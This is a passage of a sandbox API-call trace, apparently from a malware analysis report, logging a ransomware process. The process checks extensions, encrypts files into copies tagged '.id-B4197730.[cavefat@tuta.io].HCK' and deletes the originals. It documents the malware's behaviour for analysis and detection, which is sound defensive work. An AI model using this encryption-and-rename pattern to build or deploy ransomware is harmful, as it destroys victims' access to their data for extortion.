(lpString=".rar") returned 4 [0149.214] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.214] lstrlenW (lpString=".bz2") returned 4 [0149.214] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.214] lstrlenW (lpString=".7z") returned 3 [0149.214] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.215] lstrlenW (lpString=".dbf") returned 4 [0149.215] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.215] lstrlenW (lpString=".1cd") returned 4 [0149.215] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0149.215] lstrlenW (lpString=".jpg") returned 4 [0149.215] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.215] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.215] lstrlenW (lpString="warn.ico") returned 8 [0149.215] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0149.215] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10134) returned 1 [0149.215] CloseHandle (hObject=0x2fc) returned 1 [0149.215] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0149.215] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.215] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0149.215] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.215] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.215] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.216] GetLastError () returned 0x0 [0149.216] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x2796, lpOverlapped=0x0) returned 1 [0149.217] WriteFile (in: hFile=0x370, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x27a0, lpOverlapped=0x0) returned 1 [0149.218] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.218] WriteFile (in: hFile=0x370, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.218] SetEndOfFile (hFile=0x370) returned 1 [0149.218] CloseHandle (hObject=0x370) returned 1 [0149.219] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.219] SetEndOfFile (hFile=0x2fc) returned 1 [0149.220] CloseHandle (hObject=0x2fc) returned 1 [0149.220] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.220] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0149.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.220] lstrlenW (lpString=".doc") returned 4 [0149.220] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.220] lstrlenW (lpString=".docx") returned 5 [0149.220] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0149.220] lstrlenW (lpString=".pdf") returned 4 [0149.220] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.220] lstrlenW (lpString=".xls") returned 4 [0149.220] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString=".xlsx") returned 5 [0149.221] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0149.221] lstrlenW (lpString=".ppt") returned 4 [0149.221] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.221] lstrlenW (lpString=".zip") returned 4 [0149.221] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString=".rar") returned 4 [0149.221] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString=".bz2") returned 4 [0149.221] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.221] lstrlenW (lpString=".7z") returned 3 [0149.221] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.221] lstrlenW (lpString=".dbf") returned 4 [0149.221] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.221] lstrlenW (lpString=".1cd") returned 4 [0149.221] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.221] lstrlenW (lpString=".jpg") returned 4 [0149.221] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.221] lstrlenW (lpString=".doc") returned 4 [0149.221] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.221] lstrlenW (lpString=".docx") returned 5 [0149.221] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0149.221] lstrlenW (lpString=".pdf") returned 4 [0149.221] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString=".xls") returned 4 [0149.221] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString=".xlsx") returned 5 [0149.221] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0149.221] lstrlenW (lpString=".ppt") returned 4 [0149.221] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.221] lstrlenW (lpString=".zip") returned 4 [0149.221] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString=".rar") returned 4 [0149.221] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.221] lstrlenW (lpString=".bz2") returned 4 [0149.221] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.222] lstrlenW (lpString=".7z") returned 3 [0149.222] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.222] lstrlenW (lpString=".dbf") returned 4 [0149.222] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.222] lstrlenW (lpString=".1cd") returned 4 [0149.222] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0149.222] lstrlenW (lpString=".jpg") returned 4 [0149.222] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.222] lstrcmpiW (lpString1=".mzz", lpString2=".HCK") returned 1 [0149.222] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0149.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0149.222] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=181483595) returned 1 [0149.223] CloseHandle (hObject=0x2fc) returned 1 [0149.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0149.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.223] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0149.223] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0149.223] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1 [0149.223] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0149.223] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x35e8058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.229] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0149.229] ReadFile (in: hFile=0x2fc, lpBuffer=0x3628058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3628058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.231] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.231] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0149.231] ReadFile (in: hFile=0x2fc, lpBuffer=0x3668058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3668058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.248] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.248] WriteFile (in: hFile=0x2fc, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfca8*=0xc0108, lpOverlapped=0x0) returned 1 [0149.571] SetEndOfFile (hFile=0x2fc) returned 1 [0149.571] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e26028 [0149.574] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0149.574] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0150.004] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0150.004] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0150.006] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0150.006] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0150.009] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e26028 | out: hHeap=0x6b0000) returned 1 [0150.011] CloseHandle (hObject=0x2fc) returned 1 [0151.539] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString=".doc") returned 4 [0151.540] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0151.540] lstrlenW (lpString=".docx") returned 5 [0151.540] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0151.540] lstrlenW (lpString=".pdf") returned 4 [0151.540] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString=".xls") returned 4 [0151.540] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString=".xlsx") returned 5 [0151.540] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0151.540] lstrlenW (lpString=".ppt") returned 4 [0151.540] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString=".zip") returned 4 [0151.540] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString=".rar") returned 4 [0151.540] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString=".bz2") returned 4 [0151.540] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0151.540] lstrlenW (lpString=".7z") returned 3 [0151.540] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString=".dbf") returned 4 [0151.540] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString=".1cd") returned 4 [0151.540] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString=".jpg") returned 4 [0151.540] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString=".doc") returned 4 [0151.540] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0151.540] lstrlenW (lpString=".docx") returned 5 [0151.540] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0151.540] lstrlenW (lpString=".pdf") returned 4 [0151.540] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString=".xls") returned 4 [0151.540] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString=".xlsx") returned 5 [0151.540] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0151.540] lstrlenW (lpString=".ppt") returned 4 [0151.540] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0151.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.540] lstrlenW (lpString=".zip") returned 4 [0151.541] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0151.541] lstrlenW (lpString=".rar") returned 4 [0151.541] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0151.541] lstrlenW (lpString=".bz2") returned 4 [0151.541] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0151.541] lstrlenW (lpString=".7z") returned 3 [0151.541] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0151.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.541] lstrlenW (lpString=".dbf") returned 4 [0151.541] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0151.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.541] lstrlenW (lpString=".1cd") returned 4 [0151.541] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0151.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0151.541] lstrlenW (lpString=".jpg") returned 4 [0151.541] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0151.541] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0151.541] lstrlenW (lpString="sqmapi.dll") returned 10 [0151.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0151.541] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=144416) returned 1 [0151.541] CloseHandle (hObject=0x2fc) returned 1 [0151.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0151.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0151.542] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.542] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.542] GetLastError () returned 0x0 [0151.542] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x23420, lpOverlapped=0x0) returned 1 [0151.547] WriteFile (in: hFile=0x384, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x23430, lpOverlapped=0x0) returned 1 [0151.549] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.549] WriteFile (in: hFile=0x384, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xe8, lpOverlapped=0x0) returned 1 [0151.549] SetEndOfFile (hFile=0x384) returned 1 [0151.549] CloseHandle (hObject=0x384) returned 1 [0151.552] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.552] SetEndOfFile (hFile=0x2fc) returned 1 [0151.553] CloseHandle (hObject=0x2fc) returned 1 [0151.553] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.554] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0151.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.554] lstrlenW (lpString=".doc") returned 4 [0151.554] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.554] lstrlenW (lpString=".docx") returned 5 [0151.554] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0151.554] lstrlenW (lpString=".pdf") returned 4 [0151.554] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.554] lstrlenW (lpString=".xls") returned 4 [0151.554] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.554] lstrlenW (lpString=".xlsx") returned 5 [0151.554] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0151.554] lstrlenW (lpString=".ppt") returned 4 [0151.554] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.554] lstrlenW (lpString=".zip") returned 4 [0151.554] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.554] lstrlenW (lpString=".rar") returned 4 [0151.554] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.554] lstrlenW (lpString=".bz2") returned 4 [0151.554] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.554] lstrlenW (lpString=".7z") returned 3 [0151.554] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.554] lstrlenW (lpString=".dbf") returned 4 [0151.554] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.554] lstrlenW (lpString=".1cd") returned 4 [0151.554] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.555] lstrlenW (lpString=".jpg") returned 4 [0151.555] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.555] lstrlenW (lpString=".doc") returned 4 [0151.555] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.555] lstrlenW (lpString=".docx") returned 5 [0151.555] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0151.555] lstrlenW (lpString=".pdf") returned 4 [0151.555] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.555] lstrlenW (lpString=".xls") returned 4 [0151.555] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.555] lstrlenW (lpString=".xlsx") returned 5 [0151.555] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0151.555] lstrlenW (lpString=".ppt") returned 4 [0151.555] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.555] lstrlenW (lpString=".zip") returned 4 [0151.555] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.555] lstrlenW (lpString=".rar") returned 4 [0151.555] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.555] lstrlenW (lpString=".bz2") returned 4 [0151.555] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.555] lstrlenW (lpString=".7z") returned 3 [0151.555] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.555] lstrlenW (lpString=".dbf") returned 4 [0151.555] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.555] lstrlenW (lpString=".1cd") returned 4 [0151.555] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0151.555] lstrlenW (lpString=".jpg") returned 4 [0151.555] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.555] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0151.555] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0151.555] 